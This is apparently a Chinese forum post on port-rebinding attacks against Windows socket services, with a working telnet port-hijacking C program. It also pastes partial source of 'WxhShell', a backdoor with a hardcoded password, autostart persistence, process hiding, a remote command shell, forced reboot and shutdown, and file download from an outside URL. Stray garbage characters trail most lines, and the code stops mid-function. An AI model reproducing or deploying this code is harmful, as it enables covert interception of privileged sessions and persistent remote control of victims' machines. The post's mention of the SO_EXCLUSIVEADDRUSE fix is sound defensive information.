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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J j yQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g] X4)e]  
D3;^!ln]D  
  saddr.sin_family = AF_INET; Ibd7[A\  
Y]&H U) u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0*B_$E06  
(.<Gde#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X~]eQaJ  
&tLg}7?iB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >pG]#Z g  
u;h9Ra1  
  这意味着什么?意味着可以进行如下的攻击: 7bQ#M )}  
\P&'4y~PL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EG7ki0  
s/`4]B;2U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k-b_ <Tbo|  
q<,?:g$k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }1N)3~  
`@")R-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  s-*8=  
=QRLKo#_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H]}Iw5Z  
;vQ7[Pv.j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ) ;-AT^  
5p U(A6RtS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O0WzDD  
&nZ=w#_  
  #include F3,hx  
  #include {LR?#.   
  #include L a0H  
  #include    goIn7ei92  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]*sXISg1  
  int main() ]1abz:  
  { 31Zl"-<#-  
  WORD wVersionRequested; +%UXI$v  
  DWORD ret; -t:y y:4  
  WSADATA wsaData; JAmv7GL'6  
  BOOL val; 7{."Y@  
  SOCKADDR_IN saddr; >6r&VZu*n  
  SOCKADDR_IN scaddr;  W* `2lf  
  int err; P[#V{%f*5  
  SOCKET s; ]Ny.  gu  
  SOCKET sc; x4.-7%VV%  
  int caddsize; wEKm3mY;  
  HANDLE mt; qJ5Y}/r  
  DWORD tid;   Uu }ai."iB  
  wVersionRequested = MAKEWORD( 2, 2 ); ~WR6rc  
  err = WSAStartup( wVersionRequested, &wsaData ); } Yj ic4?  
  if ( err != 0 ) { xJ^Gtq Um  
  printf("error!WSAStartup failed!\n"); SobK<6  
  return -1; aR*z5p2-w  
  } Kdik7jL/J  
  saddr.sin_family = AF_INET; kp xd+w  
   !Lk|eGd*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S[X bb=n  
HQQc<7c ",  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j9x}D;? n  
  saddr.sin_port = htons(23); 5c3 )p^ ]g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C1r]kF  
  { v(h   
  printf("error!socket failed!\n"); *oZBv4Vh   
  return -1; _d %H;<_  
  } L$i&>cF\_>  
  val = TRUE; nCGLuZn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =WFMqBh<`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,K3)f.ArYc  
  { G/N'8Q)  
  printf("error!setsockopt failed!\n"); i7cMe8  
  return -1; RUYw D tC  
  } RfEmkb<9Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =NH:/j^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >[O @u4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oBifESJ  
NU I|4X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k3}ymhUf  
  { o-GlBXI;  
  ret=GetLastError(); ?P0$n 7,  
  printf("error!bind failed!\n"); !yG{`#NZZ  
  return -1; ?9 :{p  
  } \96?OC dr  
  listen(s,2); D0lgKQ  
  while(1) ]\ sBl  
  { h&NcN-["  
  caddsize = sizeof(scaddr); `fY~Lv{4d_  
  //接受连接请求 >9uDY+70I3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hi`\3B  
  if(sc!=INVALID_SOCKET) R l^ENrv!]  
  { "9&6bBa  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zRL[.O9  
  if(mt==NULL) 4F)z-<-b  
  { .!l#z|/x  
  printf("Thread Creat Failed!\n"); az?B'|VX  
  break; QVb @/  
  } 6EGh8H f  
  } 2\CFt;fk  
  CloseHandle(mt); Z[ZqQ` 7N  
  } !@W1d|{lu  
  closesocket(s); ~BDVmQa  
  WSACleanup(); 'fy1'^VPAV  
  return 0; UfOF's_'<  
  }   B9>3xxp(by  
  DWORD WINAPI ClientThread(LPVOID lpParam) jxZ R%D  
  { b@/z^k{%  
  SOCKET ss = (SOCKET)lpParam; ) $#ov-]  
  SOCKET sc; ;jo,&C  
  unsigned char buf[4096]; `:}GE@]  
  SOCKADDR_IN saddr; 2oGl"3/p  
  long num; M _Z*F!al<  
  DWORD val; ZiSy&r:(  
  DWORD ret; kQsyvE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?U cW@B{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g$EjIHb  
  saddr.sin_family = AF_INET; ?h<I:[oZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,l.O @  
  saddr.sin_port = htons(23); ]+ XgH #I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6AUXYbK,  
  { & WYIfx{  
  printf("error!socket failed!\n"); }f;Zx)!  
  return -1; UqsVqi h(  
  } UpN:F  
  val = 100; ++5W_Ooep  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \3O#H  
  { M})2y+  
  ret = GetLastError(); *G.6\  
  return -1; g(;t,Vy,I  
  } *jCXH<?R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4u"V52  
  { M$FQoRwH  
  ret = GetLastError(); OzA"i y  
  return -1; D ( <_1  
  } X%h1r`h&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f:KKOLm  
  { =xS(Er`r  
  printf("error!socket connect failed!\n"); \T/~" w  
  closesocket(sc); 9V0iV5?(P  
  closesocket(ss); A@?2qX^4  
  return -1; 0>)('Kv  
  } B&0-~o3WP  
  while(1) =L 7scv%i  
  { |GA4fFE=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7M<7^)9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 : N>5{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CTD{!I(  
  num = recv(ss,buf,4096,0); k10dkBoEX  
  if(num>0) *QG>U[  
  send(sc,buf,num,0); cW/RH.N  
  else if(num==0) eg3zp gZ  
  break; i jg'X#E  
  num = recv(sc,buf,4096,0); $83TA> <a  
  if(num>0) bO>Mvf  
  send(ss,buf,num,0); C8m8ys  
  else if(num==0) }e9E+2}Z\  
  break; c#<v:b  
  } ^; Nu\c  
  closesocket(ss); %+:%%r=Q  
  closesocket(sc); |0vY'A)]  
  return 0 ; x&8HBF'  
  } THi*'D/  
smoz5~  
A%Pjg1(uX  
========================================================== &\F`M|c  
%t([  
下边附上一个代码,,WXhSHELL KA0Ui,q3  
w[^s) 1  
========================================================== &y;('w  
' {5|[  
#include "stdafx.h" Be68 Fu0  
RnE=T/VZJ  
#include <stdio.h> ReE6h\j  
#include <string.h> +`r;3kH ..  
#include <windows.h> g7EJyA  
#include <winsock2.h> </>;PnzE  
#include <winsvc.h> V&-pgxf;  
#include <urlmon.h> l`:M/z6"  
"]f0wLzh  
#pragma comment (lib, "Ws2_32.lib") ?dl7!I@<E<  
#pragma comment (lib, "urlmon.lib") iN %kF'&9  
~gNa<tg"1  
#define MAX_USER   100 // 最大客户端连接数 'gxSHqeI2  
#define BUF_SOCK   200 // sock buffer  5%mc|  
#define KEY_BUFF   255 // 输入 buffer <Qe30_<K  
u.ffZ]\7l  
#define REBOOT     0   // 重启 X|{TwmHd  
#define SHUTDOWN   1   // 关机 jqPQ= X  
]E .+)>  
#define DEF_PORT   5000 // 监听端口 8`EzvEm  
"~:o#~F6  
#define REG_LEN     16   // 注册表键长度 U!r2`2LY  
#define SVC_LEN     80   // NT服务名长度 :rnn`/L  
fil'._  
// 从dll定义API Pn\ Lg8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +?5nkhH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6+b!|`?l+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?lKFcm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U;<07 aMj  
3WZ]9v{k  
// wxhshell配置信息 r?{tu82#i  
struct WSCFG { t7pe)i,)  
  int ws_port;         // 监听端口 X-|Lg.s  
  char ws_passstr[REG_LEN]; // 口令 /XEUJC4  
  int ws_autoins;       // 安装标记, 1=yes 0=no h$)+$^YI  
  char ws_regname[REG_LEN]; // 注册表键名 K9\`Wu_qL  
  char ws_svcname[REG_LEN]; // 服务名 3R1v0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Cu3^de@h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GS_'&Yj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3K c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?B.>VnYZ/a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =B@owx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '#mv-/<t*  
|QHDg(   
}; })#6 BN  
CvW*/d q  
// default Wxhshell configuration e|Rd#  
struct WSCFG wscfg={DEF_PORT, O~N0JK_>  
    "xuhuanlingzhe", MKq:=^w  
    1, 4:GVZR|-  
    "Wxhshell", M<hX !B  
    "Wxhshell", %e.tAl"!$  
            "WxhShell Service", "a %5on  
    "Wrsky Windows CmdShell Service", x9)^0Hbo  
    "Please Input Your Password: ", $-H#M] Gq  
  1, ZT:&j4A|0  
  "http://www.wrsky.com/wxhshell.exe", FGo{6'K(:  
  "Wxhshell.exe" U6;,<-bL  
    }; AC;ja$A#  
<)ozbv Xk  
// 消息定义模块  3=@94i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hy`Ee7>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3e+ Ih2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )F Q '^  
char *msg_ws_ext="\n\rExit."; Q>]FO  
char *msg_ws_end="\n\rQuit."; o{5es  
char *msg_ws_boot="\n\rReboot..."; ^iAOz-H  
char *msg_ws_poff="\n\rShutdown..."; pT\>kqmj  
char *msg_ws_down="\n\rSave to "; zRSIJ!A~  
%g1:yx  
char *msg_ws_err="\n\rErr!"; 't'~p#$,F  
char *msg_ws_ok="\n\rOK!"; 4+qoq$F</  
>_ bH ,/D'  
char ExeFile[MAX_PATH]; 3@P 2]Q~D  
int nUser = 0; kXK D>."E*  
HANDLE handles[MAX_USER]; qT7E"|.$  
int OsIsNt; [(Ss^?AJW  
W'WZ@!!  
SERVICE_STATUS       serviceStatus; ^t,sehpR:l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ANh7`AUuO  
wPdp!h7B~N  
// 函数声明 [9dW9[Z+!  
int Install(void); 5xKo(XNp  
int Uninstall(void); w-9M{Es+j  
int DownloadFile(char *sURL, SOCKET wsh); Gxx:<`[ON  
int Boot(int flag); ^GMM%   
void HideProc(void); &qKJN#NM@  
int GetOsVer(void); V`Ve__5;  
int Wxhshell(SOCKET wsl); !cS A|C  
void TalkWithClient(void *cs); C{AVV<  
int CmdShell(SOCKET sock); M|IR7OtLV  
int StartFromService(void); VX#4Gh,~N  
int StartWxhshell(LPSTR lpCmdLine); faH113nc  
fR[kjwX)<1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F*Lm=^:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RS'!>9I  
1 XsB  
// 数据结构和表定义 1Z-f@PoM  
SERVICE_TABLE_ENTRY DispatchTable[] = E{+V_.tlu  
{ Qv=F'  
{wscfg.ws_svcname, NTServiceMain}, N6yPuH  
{NULL, NULL} do0;"O0 (  
}; 5H8]N#Y&  
yv1Z*wTpO  
// 自我安装 MD`1KC_m  
int Install(void) uXD?s3Wv  
{ )1f8 H,q^  
  char svExeFile[MAX_PATH]; 7L68voC@U  
  HKEY key; rik-C7  
  strcpy(svExeFile,ExeFile);  zE$KU$  
AY3nQH   
// 如果是win9x系统,修改注册表设为自启动 R)4L]ZF  
if(!OsIsNt) { Xi vzhI4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3zi(|B[,?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1C) l) pV  
  RegCloseKey(key); L9L!V"So1k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2rK%fV53b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HAa$ pGb  
  RegCloseKey(key); ]3UEju8$  
  return 0; E2J.t`H  
    } !5 8j xh  
  } q=Cc2|Ve  
} T#&tf^;  
else { gG5@ KD6k  
c~j")o  
// 如果是NT以上系统,安装为系统服务 !\D[lh}rL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;oL`fQyr  
if (schSCManager!=0) ;.Dm?J0  
{ v 809/c*  
  SC_HANDLE schService = CreateService s'/b&Idf8  
  ( #bk[Zj&  
  schSCManager, k4WUfL d  
  wscfg.ws_svcname, L{XNOf3  
  wscfg.ws_svcdisp, rO#WG}E<"  
  SERVICE_ALL_ACCESS, L#)F00/`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :v-&}?  
  SERVICE_AUTO_START, 9a4Xf%!F>z  
  SERVICE_ERROR_NORMAL, w'uI~t4  
  svExeFile, Ci{,e%  
  NULL, GI:J9TS  
  NULL, ~{- zj  
  NULL, B5FRe'UC  
  NULL, `+Ko{rf+9  
  NULL M3>c?,O)J  
  ); ~ti{na4W<  
  if (schService!=0) R`%C]uG  
  { )L^GGy8w  
  CloseServiceHandle(schService); e}V3dC^pU  
  CloseServiceHandle(schSCManager); dw6U}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aE]/w1a  
  strcat(svExeFile,wscfg.ws_svcname); 1$1s 0yg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $A>\I3B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?"23XKe  
  RegCloseKey(key); + Xc s<+b  
  return 0; VG,O+I'^z  
    } 1D@'uApi.  
  } frsqnvm;+  
  CloseServiceHandle(schSCManager); (A@~]N ,U/  
} Z+# =]Kw)  
} Na6z1&wS  
<K6:"  
return 1; S(bYN[U  
} TV^m1uC  
h%2;B;p]  
// 自我卸载 L?[NXLn+  
int Uninstall(void) f9R~RRz  
{  ]I pLF#  
  HKEY key; Y`secUg  
3}U {~l!K  
if(!OsIsNt) { }a=<Gl|I;w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @(k}q3b<  
  RegDeleteValue(key,wscfg.ws_regname); 2@&|/O6_\h  
  RegCloseKey(key); TgFj- "L\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j%7N\Vb  
  RegDeleteValue(key,wscfg.ws_regname); tXlo27J  
  RegCloseKey(key); 6xDYEvHS  
  return 0; hT c VMc  
  } |s<IZ2z]}R  
} soSdlV{  
} /iz{NulOz*  
else { PAYbsn  
"t[9EbFL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >gQJ6q  
if (schSCManager!=0) }@+3QHwYU  
{ uL.)+E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]Tv0+ Ao  
  if (schService!=0) |Z ), OW  
  { $ NNd4d*  
  if(DeleteService(schService)!=0) { ;"d>lyL  
  CloseServiceHandle(schService); O7]p `Xi8  
  CloseServiceHandle(schSCManager); |@Cx%aEKU  
  return 0; zk#NM"C+  
  } ~ 9 F rlj  
  CloseServiceHandle(schService); 2h_XfY'3pX  
  } g>L4N.ZH_v  
  CloseServiceHandle(schSCManager); Z>9uVBE02  
} huPAWlxT  
} aicvu(%EE  
}8joltf  
return 1; ]j=Eof%Rc  
} nTy8:k']  
U%<E9G594  
// 从指定url下载文件 [ ;/4'  
int DownloadFile(char *sURL, SOCKET wsh) SVJL|S 3k  
{ O %x<  
  HRESULT hr; !z EW)  
char seps[]= "/"; 9FGe (t <  
char *token; *wvd[q h  
char *file; *9XKkR<r  
char myURL[MAX_PATH]; MKl`9 Y3Ge  
char myFILE[MAX_PATH]; CtEpS<*c  
TnuNoMD.  
strcpy(myURL,sURL); !+<OED=qe  
  token=strtok(myURL,seps); Z}b25)  
  while(token!=NULL) G)(vd0X1  
  { fu=GgD*  
    file=token; <%_7%  
  token=strtok(NULL,seps); 6\9 Zc-%  
  } v--Qbu  
As5*)o"&  
GetCurrentDirectory(MAX_PATH,myFILE); "UNWbsn6Qr  
strcat(myFILE, "\\"); 9A7LDHst7  
strcat(myFILE, file); *h <_gn  
  send(wsh,myFILE,strlen(myFILE),0); [osIQ!u;:  
send(wsh,"...",3,0); -l:4I6-hi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _S$ SL%;\  
  if(hr==S_OK) rAv)k&l  
return 0; PUU "k:{  
else QsO%m  
return 1; \/wbk`2  
sxP1. = W  
} Q+ i  
z(o zMH  
// 系统电源模块 &d%0[Ui`  
int Boot(int flag) t9QnEP'  
{ fV "gL(7  
  HANDLE hToken; ' F,.y6QU  
  TOKEN_PRIVILEGES tkp;  Zk={3Y  
ekR/X  
  if(OsIsNt) { r bfIH":  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cs-wqxTX[$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6I<^wS9j_  
    tkp.PrivilegeCount = 1; 3 |se]~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gpvzOW/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EC:u;2f!  
if(flag==REBOOT) { t7P[^f15[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tCF,KP?  
  return 0; w%3*T#tp  
} &E/0jxM1  
else { 4qYT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U8>M`e"D  
  return 0; ?z[k.l+6w  
} s7789pR  
  } *XCgl*% *  
  else { WDF;`o*3  
if(flag==REBOOT) { ;ndwVZ~,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2F z;TNS  
  return 0; MsD@pa  
} lTR/o  
else { u)hr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f[XsnN2  
  return 0; e I^Q!b8n  
} aioN)V  
}  BH<jnQ  
ozCH1V{p  
return 1; cns~)j~  
} 5McOSy  
4WAs_~  
// win9x进程隐藏模块 ^*$lCUv8p  
void HideProc(void) E S>iM)M  
{ [YTOrN  
W,D$=Bg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #}lq2!f6  
  if ( hKernel != NULL ) !vY5X2?tr,  
  { `Lr I^9Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _!K@( dl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 32S5Ai@Cd"  
    FreeLibrary(hKernel); &*\-4)Tf  
  } 'CfM'f3uu  
`pJWZ:3  
return; Py! F  
} Z /*X)mBuB  
LJh^-FQ  
// 获取操作系统版本 !l7D1i~  
int GetOsVer(void) -*nd5(lY&  
{ HX`>" ?{  
  OSVERSIONINFO winfo; `,7;2ZG~O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vNn$dc  
  GetVersionEx(&winfo); dBeZx1Dy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aGx[?}=  
  return 1; }rKKIF^f\S  
  else g.:b\JE`  
  return 0; kw$*o k  
} 9^zA(  
b]oPx8*'  
// 客户端句柄模块 r.vezsH  
int Wxhshell(SOCKET wsl) * ak"}s  
{ d^:(-2l-  
  SOCKET wsh; T!ik"YZ@i  
  struct sockaddr_in client; a{y"vVQOF  
  DWORD myID; gwQk M4  
4f-I,)qCBk  
  while(nUser<MAX_USER) O Bp&64  
{ *S?vw'n  
  int nSize=sizeof(client); abczW[\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >&-" X# :  
  if(wsh==INVALID_SOCKET) return 1; }|-Yd"$  
km=d'VvnI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ';J><z{>  
if(handles[nUser]==0) {sR|W:fS$  
  closesocket(wsh); 79y'PFSms  
else b'mp$lt!  
  nUser++; uupfL>h  
  } wQR0R~|M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rl0|)j  
N NTUl$  
  return 0; 5n#@,V.O/  
} \1H~u,a  
IS [&V&.n  
// 关闭 socket B.ar!*X  
void CloseIt(SOCKET wsh) "l7))>lL  
{ dp=#|!jc  
closesocket(wsh); +}Q@{@5w  
nUser--; Lk8NjK6  
ExitThread(0); YYi:d=0<SO  
} mcm8|@Y{  
us2RW<Oxv  
// 客户端请求句柄 t$k$ Hd';  
void TalkWithClient(void *cs) v0 uA]6:  
{ 7jtDhsVz  
.0ExHcr  
  SOCKET wsh=(SOCKET)cs; E==vk~cz  
  char pwd[SVC_LEN]; ,2/y(JX}*!  
  char cmd[KEY_BUFF]; "<^]d~a_  
char chr[1]; vN8Xq+  
int i,j; >6\rhx>  
7w8I6  
  while (nUser < MAX_USER) { F =Zc_  
A{(<#yRfg  
if(wscfg.ws_passstr) { *0!IHr"fn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <7X6ULQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m@#@7[6]o  
  //ZeroMemory(pwd,KEY_BUFF); |h{#r7H0  
      i=0; 9+"\7MHw  
  while(i<SVC_LEN) { U|YIu!^  
W%&'EJ)62  
  // 设置超时 +^tw@b  
  fd_set FdRead; q#|,4( Z  
  struct timeval TimeOut; 0!(BbQnWI  
  FD_ZERO(&FdRead); uNS ]n}  
  FD_SET(wsh,&FdRead); c_+y~X)i  
  TimeOut.tv_sec=8; RLL2'8"A  
  TimeOut.tv_usec=0; xJ[Xmre  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 15L0B5(3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u''~nSR3&  
8Z1pQx-P2C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kulh:d:w  
  pwd=chr[0]; HyX:4f|]'  
  if(chr[0]==0xd || chr[0]==0xa) { rZSX fgfr  
  pwd=0; -)dS`hM  
  break; Lr;PESV  
  } lMW4SRk1C  
  i++; yw{;Qm2\7  
    } |v?*}6:a  
pQ/ bIuq  
  // 如果是非法用户,关闭 socket #nS[]UbwZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0*umf .R  
} 1}>uY  
M>kk"tyM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9p '#a:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /:o (Ghc?  
!5escR!\D  
while(1) { MDqUl:]  
%I>-_el  
  ZeroMemory(cmd,KEY_BUFF); Or9`E(  
q(YFt*(;w  
      // 自动支持客户端 telnet标准   A=a~ [vre  
  j=0; -0R;C`(!  
  while(j<KEY_BUFF) { r@9qjva  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I nCo[ 8SI  
  cmd[j]=chr[0]; \Tii S  
  if(chr[0]==0xa || chr[0]==0xd) { 4Bc<  
  cmd[j]=0; B6hd*f  
  break; n>-"\cjV  
  } ^+)q@{\8Y  
  j++; Gi*GFv%xB  
    } I'$}n$UvZ  
ZUiI nO  
  // 下载文件 X&+*?Q^  
  if(strstr(cmd,"http://")) { `*to( )  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hD I}V 1)  
  if(DownloadFile(cmd,wsh)) xO nW~Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( /):  
  else ``j8T[g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `x'vF#  
  } z')zV oW,  
  else { /H m), 9NN  
v?S~ =$.  
    switch(cmd[0]) { _8;)J  
  1E'/!|  
  // 帮助 UvPD/qu$8D  
  case '?': { 3Q-[)Z )  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gJv;{;%  
    break; y5AJ1A6?E  
  } 8fI&-uP{g  
  // 安装 LNR~F_64Q  
  case 'i': { |'bRVqJ  
    if(Install()) <F7g;s'q9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X8Ld\vZYn  
    else X|3l*FL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K0bh;I  
    break; i9FtS7  
    } u^{6U(%  
  // 卸载 (b}}'  
  case 'r': { =Lyo]8>,X  
    if(Uninstall()) Nr(3!-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %C^%Oq_k  
    else /Wqx@#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jj&4Sv#>  
    break; FID4@--  
    } O{F)|<L(G  
  // 显示 wxhshell 所在路径 7:>VH>?D  
  case 'p': { 5?()o}VjAO  
    char svExeFile[MAX_PATH]; y_Tc$g~  
    strcpy(svExeFile,"\n\r"); 5_}e?T&s  
      strcat(svExeFile,ExeFile); !Ui"<0[,  
        send(wsh,svExeFile,strlen(svExeFile),0); %j*i=  
    break; )f6:{ma  
    } <m|\#Jw_V  
  // 重启 _P]!J~$5  
  case 'b': { ZJ7<!?6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xQetAYP`  
    if(Boot(REBOOT)) |8s)kQ4$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &K*x[  
    else { cx(W{O"Jb  
    closesocket(wsh); sivd@7r\Fa  
    ExitThread(0); mGK-&|gq  
    } 5v uB87`  
    break; qXQ/M]  
    } k;?Oi?]  
  // 关机 \f AL:mJ  
  case 'd': { @/ m|T]'8  
